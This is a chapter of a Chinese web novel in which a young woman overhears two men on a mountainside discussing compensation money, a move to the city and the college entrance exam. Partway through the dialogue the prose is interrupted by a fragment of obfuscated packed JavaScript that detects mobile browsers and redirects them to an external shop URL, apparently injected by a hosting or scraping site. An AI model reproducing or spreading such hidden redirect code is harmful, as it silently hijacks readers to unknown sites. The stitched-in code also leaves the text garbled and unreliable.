燕素梅刚挖了一勺鸡蛋,忽然想起自己的水杯落在山上了。 那水杯没什么特殊的,就一个普通的搪瓷缸。可那是老太太知道她想出去干活挣钱时,特地跑到镇子上买来的。 “奶奶,我的水杯落田里了,我去拿一下。” “哎呀,吃完饭再去。” 燕素梅摇了摇头,“不行,那么新的水杯要是被人捡走了可不好了。” 她放下碗起身就往外走,身后传来老太太的呼喊声。 “哎呀,你这丫头,路上一定要注意安全!” 燕素梅走得极快,没一会就到山脚下了。 此时天已经全黑了,山路模模糊糊的,全靠月光照着。她摸着黑往上走,走到茶地附近,刚要喊苏文青,忽然看见不远处的竹林边上有两个人影。 不好,不会是她跟苏文青偷偷打理这片茶地被队里发现了吧。 她脚步一顿,下意识屏住呼吸。 月光从云层里漏出来,照在那两个人身上。 燕素梅这才发现那两个人是苏文青和宇正叔。两个人面对面站着,离得很近,像是在说些什么。 燕素梅没由来地后退了一步,躲在一棵树后面。 山风从林子里吹过来,把他们的对话断断续续地送进她耳朵里。 “……王叔……钱……查清楚……” 这是苏文青的声音。 原来宇正叔姓王啊。 不过什么钱?苏文青还欠宇正叔钱吗? 可是为什么又说查清楚? 燕素梅正想着,宇正叔的回复也断断续续传来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376993|200122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “……当年……县里……抚恤金……” 抚恤金! 燕素梅瞪大双眼,她偷偷往前挪了挪。许是凑近了,她能将二人对话听清了些,只不过此时对话似乎接近了尾声。 “我有办法。”苏文青十分淡然地说。 宇正叔抬头看了苏文青一眼,“你想要什么?” “我也要进城。” “进城?”宇正叔皱着眉反问道。 “对,我要参加明年高考。” 燕素梅愣住了。 高考?苏文青要参加高考? 她记得原书里,苏文青是等到高考恢复那年才开始准备的。后来因为原主生病没参加,他还安慰原主说没准备多久,去了也是浪费钱。 好像明年才高考恢复吧? 苏文青怎么现在就开始准备了?还是说其实他一早就听到了消息,只是为了不让原主担心,故意那么说的? “你放心。”宇正叔的声音把燕素梅的思绪拉回来,“进城这件事,小梅跟你的我都会想办法。” 苏文青没说话,可却突然转身往茶地方向走。 燕素梅吓了一跳,连忙猫着腰往回跑。她跑得急,没发现脚下有一根枯枝。 “咔嚓”一声,在寂静的山林里格外刺耳。 “谁?” 苏文青警惕的声音从身后传来,吓得她心跳都快停了。燕素梅蹲在一棵树后面,大气都不敢出。 但苏文青的脚步还是直直往她这边走了过来。 燕素梅有些紧张地闭上眼睛,正想着该如何解释时,那脚步声忽然停了。 “难道是我听错了?”苏文青自言自语了一句,转身走了。 燕素梅等了好一会儿,确认他走远了,这才灌木从里钻出来。她摸着黑找到了自己的水杯,跌跌撞撞往山下跑。 一路跑回家,几乎是撞开门冲进去的。 “咋了这是?跑得满头是汗。”老太太正在灶房里洗碗,探出头来问。 “没事,奶奶。”燕素梅应了一声,钻进自己屋,关上门。 她坐在床沿,心跳得厉害。 抚恤金、进城、高考。 方才的话虽然听得断断续续,但也大概能猜到部分情况。 宇正叔来村里,是为了查那笔抚恤金的事。 而苏文青找宇正叔,是想进城高考。 可宇正叔究竟是谁?如果说他是想帮原主,那为什么奶奶对他的反应会这么大? 还有,苏文青怎么会知道明年一定会高考,并且知道宇正叔一定能给他和原主拿到进城名额? 燕素梅靠在墙上,脑子里乱成了一锅粥,想了半天也想不出个所以然。 “奶奶,我回来了。” 门外传来声响,是苏文青回来了。 紧接着响起老太太略带关心的话语,“文青啊,你咋才回来啊。饭给你在锅里热着呢,快吃吧。” 燕素梅坐在屋里,听着外面的动静,心里憋得慌。她想冲出去问苏文青,在山上跟宇正叔究竟说了些什么。 可她不能问,一问什么都暴露了。 她深吸一口气,把那些念头压下去。